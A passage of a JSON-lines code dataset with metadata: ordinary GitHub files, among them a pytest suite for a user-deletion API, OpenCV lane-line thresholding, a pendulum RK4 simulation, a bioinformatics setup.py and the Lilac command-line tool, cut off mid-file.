{"api_name": "matplotlib.pyplot", "line_number": 118, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 119, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 119, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.suptitle", "line_number": 121, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 121, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots_adjust", "line_number": 122, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 122, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 123, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 123, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.style.use", "line_number": 124, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.style", "line_number": 124, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 124, "usage_type": "name"}, {"api_name": "sklearn.neighbors.KNeighborsClassifier", "line_number": 133, "usage_type": "call"}, {"api_name": "numpy.random.seed", "line_number": 141, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 141, "usage_type": "attribute"}, {"api_name": "numpy.random.randint", "line_number": 143, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 143, "usage_type": "attribute"}, {"api_name": "sklearn.datasets.load_digits", "line_number": 157, "usage_type": "call"}, {"api_name": "sklearn.datasets", "line_number": 157, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 164, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 164, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 165, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 165, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.cm", "line_number": 165, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.show", "line_number": 166, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 166, "usage_type": "name"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 177, "usage_type": "call"}, {"api_name": "sklearn.neighbors.KNeighborsClassifier", "line_number": 178, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 190, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 191, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 192, "usage_type": "call"}, {"api_name": "sklearn.neighbors.KNeighborsClassifier", "line_number": 197, "usage_type": "call"}, {"api_name": "seaborn.set", "line_number": 209, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 210, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 210, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 211, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 211, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 212, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 212, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 213, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 213, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 214, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 214, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 215, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 215, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 216, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 216, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.suptitle", "line_number": 217, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 217, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 219, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 219, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.style.use", "line_number": 220, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.style", "line_number": 220, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 220, "usage_type": "name"}]} {"seq_id": "28818388940", "text": "import pytest\n\nimport allure\nfrom common.checkers import check_failure_reason_no_required_field\nfrom common.checkers import check_failure_reason_wrong_data_type\nfrom common.checkers import check_failure_reason_wrong_param_data_type\nfrom common.constants import DELETE_REQUIRED_PARAMS\nfrom common.constants import STRING_DELETE_PARAMS\nfrom common.constants import STRING_INCORRECT_DATA_TYPES\nfrom common.constants import WRONG_DATA_TYPES\nfrom common.helpers import run\nfrom schemas.response import DeleteResponse\nfrom schemas.response import FailureResponse\n\n\n@allure.epic(\"Удаление юзера\")\n@allure.feature(\"Успешное удаление юзера\")\n@allure.story(\"Успешное удаление юзера\")\ndef test_success_delete_user(create_delete_request, client, create_user):\n create_delete_request[\"phone\"] = create_user[\"phone\"]\n response = run(client.send_message_success(create_delete_request))\n\n DeleteResponse(**response)\n\n\n@allure.epic(\"Удаление юзера\")\n@allure.feature(\"Удаление юзера с ошибкой\")\n@allure.story(\"Удаление несуществующего юзера\")\ndef test_failure_delete_user_not_found(create_delete_request, client):\n response = run(client.send_message_failure(create_delete_request))\n\n FailureResponse(**response)\n\n\n@allure.epic(\"Удаление юзера\")\n@allure.feature(\"Удаление юзера с ошибкой\")\n@allure.story(\"В запросе отсутствует обязательное поле\")\n@pytest.mark.parametrize(\"req_param\", [*DELETE_REQUIRED_PARAMS])\ndef test_failure_delete_user_no_required_fields(create_delete_request, client, req_param):\n data = create_delete_request\n data.pop(req_param)\n response = run(client.send_message_failure(data))\n\n FailureResponse(**response)\n check_failure_reason_no_required_field(response, req_param)\n\n\n@allure.epic(\"Удаление юзера\")\n@allure.feature(\"Удаление юзера с ошибкой\")\n@allure.story(\"Запрос имеет некорректный тип данных\")\n@pytest.mark.parametrize(\"param\", [*WRONG_DATA_TYPES])\ndef test_failure_delete_user_wrong_structure(client, param):\n response = run(client.send_message_failure(data=param))\n\n FailureResponse(**response)\n check_failure_reason_wrong_data_type(response)\n\n\n@allure.epic(\"Удаление юзера\")\n@allure.feature(\"Удаление юзера с ошибкой\")\n@allure.story(\"Поля запроса имеют некорректный тип данных\")\n@pytest.mark.parametrize(\"param\", [*STRING_DELETE_PARAMS])\n@pytest.mark.parametrize(\"wrong_type\", [*STRING_INCORRECT_DATA_TYPES])\ndef test_failure_delete_user_wrong_fields_type(client, create_delete_request, param, wrong_type):\n create_delete_request[param] = wrong_type\n response = run(client.send_message_failure(create_delete_request))\n\n FailureResponse(**response)\n check_failure_reason_wrong_param_data_type(response)\n\n\ndef test_failure_injection():\n pass\n", "repo_name": "brrcdz/QA-Automation-project", "sub_path": "tests/test_delete_method.py", "file_name": "test_delete_method.py", "file_ext": "py", "file_size_in_byte": 3034, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "common.helpers.run", "line_number": 21, "usage_type": "call"}, {"api_name": "schemas.response.DeleteResponse", "line_number": 23, "usage_type": "call"}, {"api_name": "allure.epic", "line_number": 16, "usage_type": "call"}, {"api_name": "allure.feature", "line_number": 17, "usage_type": "call"}, {"api_name": "allure.story", "line_number": 18, "usage_type": "call"}, {"api_name": "common.helpers.run", "line_number": 30, "usage_type": "call"}, {"api_name": "schemas.response.FailureResponse", "line_number": 32, "usage_type": "call"}, {"api_name": "allure.epic", "line_number": 26, "usage_type": "call"}, {"api_name": "allure.feature", "line_number": 27, "usage_type": "call"}, {"api_name": "allure.story", "line_number": 28, "usage_type": "call"}, {"api_name": "common.helpers.run", "line_number": 42, "usage_type": "call"}, {"api_name": "schemas.response.FailureResponse", "line_number": 44, "usage_type": "call"}, {"api_name": "common.checkers.check_failure_reason_no_required_field", "line_number": 45, "usage_type": "call"}, {"api_name": "allure.epic", "line_number": 35, "usage_type": "call"}, {"api_name": "allure.feature", "line_number": 36, "usage_type": "call"}, {"api_name": "allure.story", "line_number": 37, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 38, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 38, "usage_type": "attribute"}, {"api_name": "common.constants.DELETE_REQUIRED_PARAMS", "line_number": 38, "usage_type": "name"}, {"api_name": "common.helpers.run", "line_number": 53, "usage_type": "call"}, {"api_name": "schemas.response.FailureResponse", "line_number": 55, "usage_type": "call"}, {"api_name": "common.checkers.check_failure_reason_wrong_data_type", "line_number": 56, "usage_type": "call"}, {"api_name": "allure.epic", "line_number": 48, "usage_type": "call"}, {"api_name": "allure.feature", "line_number": 49, "usage_type": "call"}, {"api_name": "allure.story", "line_number": 50, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 51, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 51, "usage_type": "attribute"}, {"api_name": "common.constants.WRONG_DATA_TYPES", "line_number": 51, "usage_type": "name"}, {"api_name": "common.helpers.run", "line_number": 66, "usage_type": "call"}, {"api_name": "schemas.response.FailureResponse", "line_number": 68, "usage_type": "call"}, {"api_name": "common.checkers.check_failure_reason_wrong_param_data_type", "line_number": 69, "usage_type": "call"}, {"api_name": "allure.epic", "line_number": 59, "usage_type": "call"}, {"api_name": "allure.feature", "line_number": 60, "usage_type": "call"}, {"api_name": "allure.story", "line_number": 61, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 62, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 62, "usage_type": "attribute"}, {"api_name": "common.constants.STRING_DELETE_PARAMS", "line_number": 62, "usage_type": "name"}, {"api_name": "pytest.mark.parametrize", "line_number": 63, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 63, "usage_type": "attribute"}, {"api_name": "common.constants.STRING_INCORRECT_DATA_TYPES", "line_number": 63, "usage_type": "name"}]} {"seq_id": "27645583815", "text": "import numpy as np\nimport cv2\nimport math as m\n\nimport utils\n\n\"\"\"\nTake an absolute value of passed Sobel and apply a threshold.\n\"\"\"\ndef abs_sobel_threshold(sobel, thresh=(0, 255)):\n # Take the absolute value of the derivative or gradient\n abs_sobel = np.absolute(sobel)\n # Scale to 8-bit (0 - 255) then convert to type = np.uint8\n scaled_sobel = np.uint8(255 * abs_sobel / np.max(abs_sobel))\n # Create a mask of 1's where the scaled gradient magnitude is > thresh_min and < thresh_max\n binary_output = np.zeros_like(scaled_sobel)\n binary_output[(scaled_sobel >= thresh[0]) & (scaled_sobel <= thresh[1])] = 1\n # Return this mask as binary_output image\n return binary_output\n\n\n\"\"\"\nCompute the magnitude of the gradient and apply a threshold\n\"\"\"\ndef mag_threshold(sobelx, sobely, thresh=(0, 255)):\n # Calculate the magnitude\n abs_sobelxy = np.sqrt(sobelx * sobelx + sobely * sobely)\n # Scale to 8-bit (0 - 255) and convert to type = np.uint8\n scaled_sobel = np.uint8(255 * abs_sobelxy / np.max(abs_sobelxy))\n # Create a binary mask where mag thresholds are met\n binary_output = np.zeros_like(scaled_sobel)\n binary_output[(scaled_sobel >= thresh[0]) & (scaled_sobel <= thresh[1])] = 1\n # Return this mask as binary_output image\n return binary_output\n\n\n\"\"\"\nCompute the direction of the gradient and apply a threshold.\n\"\"\"\ndef dir_threshold(sobelx, sobely, thresh=(0, np.pi / 2)):\n # Take the absolute value of the x and y gradients, so that's why thresh in range [0, pi/2], not [-pi, pi]x\n abs_sobelx = np.absolute(sobelx)\n abs_sobely = np.absolute(sobely)\n # Use np.arctan2(abs_sobely, abs_sobelx) to calculate the direction of the gradient\n grad_direction = np.arctan2(abs_sobely, abs_sobelx)\n # Create a binary mask where direction thresholds are met\n binary_output = np.zeros_like(grad_direction)\n binary_output[(grad_direction >= thresh[0]) & (grad_direction <= thresh[1])] = 1\n # Return this mask as binary_output image\n return binary_output\n\n\n\"\"\"\nThreshold image using gradient x and y absolute values, gradient magnitude and gradient direction.\n\"\"\"\ndef gradient_threshold(img, working_ch='gray',\n ksize=3, x_abs_thresh=(0, 255), y_abs_thresh=(0, 255),\n mag_thresh=(0, 255), dir_thresh=(0, np.pi / 2)):\n if working_ch == 'L':\n hsv = cv2.cvtColor(img, cv2.COLOR_RGB2HLS).astype(np.float)\n one_ch_img = hsv[:, :, 1]\n elif working_ch == 'S':\n hsv = cv2.cvtColor(img.astype(np.uint8), cv2.COLOR_RGB2HLS)\n hsv = hsv.astype(np.float)\n one_ch_img = hsv[:, :, 2]\n else:\n # by default grayscale is used\n one_ch_img = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)\n\n # Take the gradient in x and y separately\n sobelx = cv2.Sobel(one_ch_img, cv2.CV_64F, 1, 0, ksize=ksize)\n sobely = cv2.Sobel(one_ch_img, cv2.CV_64F, 0, 1, ksize=ksize)\n\n # Apply each of the thresholding functions\n gradx = abs_sobel_threshold(sobelx, thresh=x_abs_thresh)\n grady = abs_sobel_threshold(sobely, thresh=y_abs_thresh)\n mag_binary = mag_threshold(sobelx, sobely, thresh=mag_thresh)\n dir_binary = dir_threshold(sobelx, sobely, thresh=dir_thresh)\n\n combined = np.zeros_like(dir_binary)\n combined[(((gradx == 1) | (grady == 1))) & (mag_binary == 1) & (dir_binary == 1)] = 1\n\n return combined\n\n\"\"\"\nThe method thresholds image using gradient thresholding by Grayscale and S channel.\nThis method is used for flow:\norigin_image -> undistort -> top-down-perspective (aka bird-eye-view) -> threshold\n\"\"\"\ndef threshold_image(img):\n img = np.copy(img)\n img = utils.gaussian_blur(img, kernel_size=5)\n\n ksize = 11\n x_abs_thresh = (20, 100)\n y_abs_thresh = (20, 100)\n mag_thresh = (20, 100)\n #dir_thresh = (m.radians(0), m.radians(10))\n dir_thresh = (m.radians(0), m.radians(45))\n\n # use Grayscale\n grad_g_binary = gradient_threshold(img, 'G', ksize, x_abs_thresh, y_abs_thresh, mag_thresh, dir_thresh)\n # use S channel of HSL\n grad_s_binary = gradient_threshold(img, 'S', ksize, x_abs_thresh, y_abs_thresh, mag_thresh, dir_thresh)\n # use L channel of HSL\n # grad_l_binary = gradient_threshold(img, 'L', ksize, x_abs_thresh, y_abs_thresh, mag_thresh, dir_thresh)\n\n # Combine\n combined = np.zeros_like(grad_g_binary)\n combined[(grad_g_binary == 1) | (grad_s_binary == 1)] = 1\n\n # Stack each channel\n color_binary = np.dstack((combined, grad_g_binary, grad_s_binary))\n return color_binary\n\n\n\"\"\"\norigin_image -> undistort -> threshold -> top-down-perspective (aka bird-eye-view)\n\"\"\"\ndef threshold_origin_image(img):\n img = np.copy(img)\n\n ksize = 11\n x_abs_thresh = (20, 100)\n y_abs_thresh = (20, 100)\n mag_thresh = (30, 100)\n dir_thresh = (m.radians(35), m.radians(55))\n\n # use Grayscale\n grad_g_binary = gradient_threshold(img, 'G', ksize, x_abs_thresh, y_abs_thresh, mag_thresh, dir_thresh)\n # use S channel of HSL\n grad_s_binary = gradient_threshold(img, 'S', ksize, x_abs_thresh, y_abs_thresh, mag_thresh, dir_thresh)\n # use L channel of HSL\n # grad_l_binary = gradient_threshold(img, 'L', ksize, x_abs_thresh, y_abs_thresh, mag_thresh, dir_thresh)\n\n # Combine\n combined = np.zeros_like(grad_g_binary)\n combined[(grad_g_binary == 1) | (grad_s_binary == 1)] = 1\n\n # Stack each channel\n color_binary = np.dstack((combined, grad_g_binary, grad_s_binary))\n return color_binary\n\n\n\n# def threshold_origin_image(img, s_thresh=(170, 255)):\n# img = np.copy(img)\n#\n# ksize = 11\n# x_abs_thresh = (20, 100)\n# y_abs_thresh = (20, 100)\n# mag_thresh = (30, 100)\n# dir_thresh = (m.radians(35), m.radians(55))\n#\n# # use Grayscale\n# grad_g_binary = gradient_threshold(img, 'G', ksize, x_abs_thresh, y_abs_thresh, mag_thresh, dir_thresh)\n# grad_s_binary = gradient_threshold(img, 'S', ksize, x_abs_thresh, y_abs_thresh, mag_thresh, dir_thresh)\n# #sxbinary = gradient_threshold(img, 'L', ksize, x_abs_thresh, y_abs_thresh, mag_thresh, dir_thresh)\n#\n# # Convert to HSV color space and separate the V channel\n# hsv = cv2.cvtColor(img, cv2.COLOR_RGB2HLS).astype(np.float)\n# s_channel = hsv[:, :, 2]\n#\n# # Threshold color channel\n# s_binary = np.zeros_like(s_channel)\n# s_binary[(s_channel >= s_thresh[0]) & (s_channel <= s_thresh[1])] = 1\n#\n# # Combine\n# combined = np.zeros_like(grad_g_binary)\n# #combined[(sxbinary == 1) | (s_binary == 1)] = 1\n# combined[(grad_g_binary == 1) | (grad_s_binary == 1)] = 1\n#\n# # Stack each channel\n# # color_binary = np.dstack((np.zeros_like(sxbinary), sxbinary, s_binary))\n# color_binary = np.dstack((combined, grad_g_binary, grad_s_binary))\n# return color_binary", "repo_name": "amemetov/sdc-term1-prj4-adv-lane-lines", "sub_path": "threshold.py", "file_name": "threshold.py", "file_ext": "py", "file_size_in_byte": 6750, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "numpy.absolute", "line_number": 12, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 14, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 14, "usage_type": "call"}, {"api_name": "numpy.zeros_like", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.zeros_like", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 40, "usage_type": "attribute"}, {"api_name": "numpy.absolute", "line_number": 42, "usage_type": "call"}, {"api_name": "numpy.absolute", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.arctan2", "line_number": 45, "usage_type": "call"}, {"api_name": "numpy.zeros_like", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 58, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 60, "usage_type": "call"}, {"api_name": "cv2.COLOR_RGB2HLS", "line_number": 60, "usage_type": "attribute"}, {"api_name": "numpy.float", "line_number": 60, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 63, "usage_type": "attribute"}, {"api_name": "cv2.COLOR_RGB2HLS", "line_number": 63, "usage_type": "attribute"}, {"api_name": "numpy.float", "line_number": 64, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 68, "usage_type": "call"}, {"api_name": "cv2.COLOR_RGB2GRAY", "line_number": 68, "usage_type": "attribute"}, {"api_name": "cv2.Sobel", "line_number": 71, "usage_type": "call"}, {"api_name": "cv2.CV_64F", "line_number": 71, "usage_type": "attribute"}, {"api_name": "cv2.Sobel", "line_number": 72, "usage_type": "call"}, {"api_name": "cv2.CV_64F", "line_number": 72, "usage_type": "attribute"}, {"api_name": "numpy.zeros_like", "line_number": 80, "usage_type": "call"}, {"api_name": "numpy.copy", "line_number": 91, "usage_type": "call"}, {"api_name": "utils.gaussian_blur", "line_number": 92, "usage_type": "call"}, {"api_name": "math.radians", "line_number": 99, "usage_type": "call"}, {"api_name": "numpy.zeros_like", "line_number": 109, "usage_type": "call"}, {"api_name": "numpy.dstack", "line_number": 113, "usage_type": "call"}, {"api_name": "numpy.copy", "line_number": 121, "usage_type": "call"}, {"api_name": "math.radians", "line_number": 127, "usage_type": "call"}, {"api_name": "numpy.zeros_like", "line_number": 137, "usage_type": "call"}, {"api_name": "numpy.dstack", "line_number": 141, "usage_type": "call"}]} {"seq_id": "37957128632", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Apr 25 14:45:36 2017\n\n@author: elizabethsizemore\n\"\"\"\n\nfrom math import sin\nimport numpy as np\nfrom numpy import *\nimport matplotlib.pyplot as plt\n\n#given information\nl=.12 #arm length (m)\ng=9.8 #gravity (m/s^2)\ninitial_t=0.0 #initial time seconds\nfinal_t= 20.0 #stop time seconds\nN=1000#number of steps\nh=(final_t-initial_t)/N #step size conditions\n\ndef f(r,t):\n theta= r[0]\n omega=r[1]\n ddttheta=omega\n ddtomega=-(g/l)*sin(theta*np.pi/180)\n return np.array ([ddttheta*180/np.pi, ddtomega], float)\n \ntpoints=arange(initial_t, final_t, h)\nxpoints =[]\nr=(-175, 0.0)\n\n\n#Use 4th order runga kutta\nfor t in tpoints:\n xpoints.append(r[0])\n k1=h*f(r, t)\n k2= h*f(r+ 0.5*k1, t+0.5*h)\n k3=h*f(r + 0.5*k2, t+0.5*h)\n k4=h*f(r+k3, t+h)\n r+= (k1+2*k2+2*k3+k4)/6\n\n\nplt.plot (tpoints, xpoints)\nplt.xlabel('Time (seconds)')\nplt.ylabel('Angle (degrees)')\nplt.title('Function of Pendulum Angle vs time')\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "repo_name": "esizemore/Homework-6", "sub_path": "Sizemore_hw6_probA.py", "file_name": "Sizemore_hw6_probA.py", "file_ext": "py", "file_size_in_byte": 1010, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "math.sin", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 26, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 27, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 44, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 44, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 45, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 45, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 46, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 46, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 47, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 47, "usage_type": "name"}]} {"seq_id": "11079501359", "text": "import os\nimport glob\nfrom setuptools import setup, find_packages\n\n\ndef read(fname):\n return open(os.path.join(os.path.dirname(__file__), fname)).read()\n\n\ndef package_files(directory):\n paths = []\n for (path, directories, filenames) in os.walk(directory):\n for filename in filenames:\n paths.append(os.path.join('..', path, filename))\n return paths\n\n#extra_files = package_files('test_data')\n\n\nsetup(\n name='bracer',\n version=0.2,\n author=\"Mike Stubbington, Ida Lindeman, Guy Emerton, Nick England\",\n entry_points={\n 'console_scripts': [\n 'bracer=bracerlib.launcher:launch'\n ]\n },\n author_email=\"ida.lindeman@sanger.ac.uk\",\n description=\"Reconstruction of B-Cell receptor sequences from single-cell RNA-seq data\",\n licence=\"Apache\",\n keywords=\"biopython genetics\",\n url=\"https://github.com/teichlab/bracer\",\n packages=find_packages(),\n #package_data={'bracer': extra_files},\n install_requires=[\n \"biopython>=1.80\",\n \"cycler>=0.10.0\",\n \"decorator>=4.0.9\",\n \"matplotlib>=1.5.1\",\n \"networkx>=1.11\",\n \"numpy>=1.11.0\",\n \"pandas>=0.18.0\",\n \"prettytable>=0.7.2\",\n \"pydot>=1.4.2\",\n \"pyparsing>=2.0.3\",\n \"python-dateutil>=2.5.2\",\n \"python-Levenshtein>=0.12.0\",\n \"pytz>=2016.3\",\n \"scipy>=0.17.0\",\n \"seaborn>=0.11.0\",\n \"six>=1.10.0\",\n \"mock>=2.0.0\",\n \"future>=0.15.2\",\n \"changeo>=0.3.7\",\n \"cutadapt>=1.14.0\"\n ]\n)\n", "repo_name": "Teichlab/bracer", "sub_path": "setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 1538, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 33, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.path.join", "line_number": 7, "usage_type": "call"}, {"api_name": "os.path", "line_number": 7, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 7, "usage_type": "call"}, {"api_name": "os.walk", "line_number": 12, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 14, "usage_type": "call"}, {"api_name": "os.path", "line_number": 14, "usage_type": "attribute"}, {"api_name": "setuptools.setup", "line_number": 20, "usage_type": "call"}, {"api_name": "setuptools.find_packages", "line_number": 34, "usage_type": "call"}]} {"seq_id": "28164578881", "text": "\"\"\"Lilac CLI.\"\"\"\n\nfrom os.path import abspath\nfrom typing import Literal, Optional, Union\n\nimport click\n\nfrom . import __version__\nfrom .concepts.db_concept import DISK_CONCEPT_DB\nfrom .deploy import deploy_project\nfrom .env import env, get_project_dir\nfrom .hf_docker_start import hf_docker_start\nfrom .load import load\nfrom .project import dir_is_project, init, project_dir_from_args\nfrom .server import start_server\n\n\n@click.command()\n@click.argument('project_dir', default='')\n@click.option(\n '--host',\n help='The host address where the web server will listen to.',\n default='127.0.0.1',\n type=str,\n)\n@click.option('--port', help='The port number of the web-server', type=int, default=5432)\n@click.option(\n '--load', help='Load from the project config upon bootup.', type=bool, is_flag=True, default=False\n)\ndef start(project_dir: str, host: str, port: int, load: bool) -> None:\n \"\"\"Starts the Lilac web server.\"\"\"\n project_dir = project_dir_from_args(project_dir)\n if not dir_is_project(project_dir):\n value = str(\n click.prompt(\n f'Lilac will create a project in `{abspath(project_dir)}`. Do you want to continue? (y/n)',\n type=str,\n )\n ).lower()\n if value == 'n':\n exit()\n\n start_server(host=host, port=port, open=True, project_dir=project_dir, load=load)\n\n\n@click.command()\n@click.argument('project_dir', default='')\ndef init_command(project_dir: str) -> None:\n \"\"\"Initialize a Lilac project in a project directory.\"\"\"\n project_dir = project_dir_from_args(project_dir)\n if not dir_is_project(project_dir):\n value = str(\n click.prompt(\n f'Lilac will create a project in `{abspath(project_dir)}`. Do you want to continue? (y/n)',\n type=str,\n )\n ).lower()\n if value == 'n':\n exit()\n\n init(project_dir)\n\n\n@click.command()\n@click.argument('project_dir', default='')\n@click.option(\n '--config_path',\n type=str,\n help='[Optional] The path to a json or yml file describing the configuration. '\n 'The file contents should be an instance of `lilac.Config` or `lilac.DatasetConfig`. '\n 'When not defined, uses `LILAC_PROJECT_DIR`/lilac.yml.',\n)\n@click.option(\n '--overwrite',\n help='When True, runs all data from scratch, overwriting existing data. When false, only'\n 'load new datasets, embeddings, and signals.',\n type=bool,\n is_flag=True,\n default=False,\n)\ndef load_command(project_dir: str, config_path: str, overwrite: bool) -> None:\n \"\"\"Load from a project configuration.\"\"\"\n project_dir = project_dir or get_project_dir()\n if not project_dir:\n raise ValueError(\n '--project_dir or the environment variable `LILAC_PROJECT_DIR` must be defined.'\n )\n\n load(project_dir, config_path, overwrite)\n\n\n@click.command()\ndef version() -> None:\n \"\"\"Prints the version of Lilac.\"\"\"\n print(__version__)\n\n\n@click.command()\ndef hf_docker_start_command() -> None:\n \"\"\"Prepares the binary by downloading datasets for the HuggingFace docker image.\"\"\"\n hf_docker_start()\n\n\n@click.command()\n@click.option(\n '--project_dir',\n help='The project directory to use for the demo. Defaults to `env.LILAC_PROJECT_DIR`.',\n type=str,\n)\n@click.option(\n '--hf_space',\n help='The huggingface space. Should be formatted like `SPACE_ORG/SPACE_NAME`.',\n type=str,\n required=True,\n)\n@click.option('--dataset', help='The name of a dataset to upload', type=str, multiple=True)\n@click.option(\n '--make_datasets_public',\n help='When true, sets the huggingface datasets uploaded to public. Defaults to false.',\n is_flag=True,\n default=False,\n)\n@click.option(\n '--concept',\n help='The name of a concept to upload. By default all lilac/ concepts are uploaded.',\n type=str,\n multiple=True,\n)\n@click.option(\n '--skip_cache',\n help='Skip uploading the cache files from .cache/lilac which contain cached concept pkl models.',\n type=bool,\n is_flag=True,\n default=False,\n)\n@click.option(\n '--skip_data_upload',\n help='When true, only uploads the wheel files without any other changes.',\n is_flag=True,\n default=False,\n)\n@click.option(\n '--create_space',\n help='When True, creates the HuggingFace space if it doesnt exist. The space will be created '\n 'with the storage type defined by --hf_space_storage.',\n is_flag=True,\n default=False,\n)\n@click.option(\n '--load_on_space',\n help='When True, loads the datasets from your project in the space and does not upload data. '\n 'NOTE: This could be expensive if your project config locally has embeddings as they will be '\n 'recomputed in HuggingFace.',\n is_flag=True,\n default=False,\n)\n@click.option(\n '--hf_space_storage',\n help='If defined, sets the HuggingFace space persistent storage type. '\n 'NOTE: This only actually sets the space storage type when creating the space. '\n 'For more details, see https://huggingface.co/docs/hub/spaces-storage',\n type=click.Choice(['small', 'medium', 'large'], case_sensitive=False),\n default=None,\n)\n@click.option(\n '--hf_token',\n help='The HuggingFace access token to use when making datasets private. '\n 'This can also be set via the `HF_ACCESS_TOKEN` environment flag.',\n type=str,\n)\ndef deploy_project_command(\n project_dir: str,\n hf_space: str,\n dataset: Optional[list[str]],\n make_datasets_public: bool,\n concept: Optional[list[str]],\n skip_cache: bool,\n skip_data_upload: bool,\n create_space: bool,\n load_on_space: bool,\n hf_space_storage: Optional[Union[Literal['small'], Literal['medium'], Literal['large']]],\n hf_token: Optional[str],\n) -> None:\n \"\"\"Deploy a project directory to a HuggingFace Space.\"\"\"\n # When datasets aren't define, set to None so we upload all datasets.\n if not dataset:\n dataset = None\n # When datasets aren't defined, set to None so we upload all datasets.\n if not concept:\n concept = None\n\n hf_token = hf_token or env('HF_ACCESS_TOKEN')\n\n deploy_project(\n project_dir=project_dir,\n hf_space=hf_space,\n datasets=dataset,\n concepts=concept,\n skip_cache_upload=skip_cache,\n make_datasets_public=make_datasets_public,\n skip_data_upload=skip_data_upload,\n create_space=create_space,\n load_on_space=load_on_space,\n hf_space_storage=hf_space_storage,\n hf_token=hf_token,\n )\n\n\n@click.command()\ndef concepts() -> None:\n \"\"\"Lists lilac concepts.\"\"\"\n 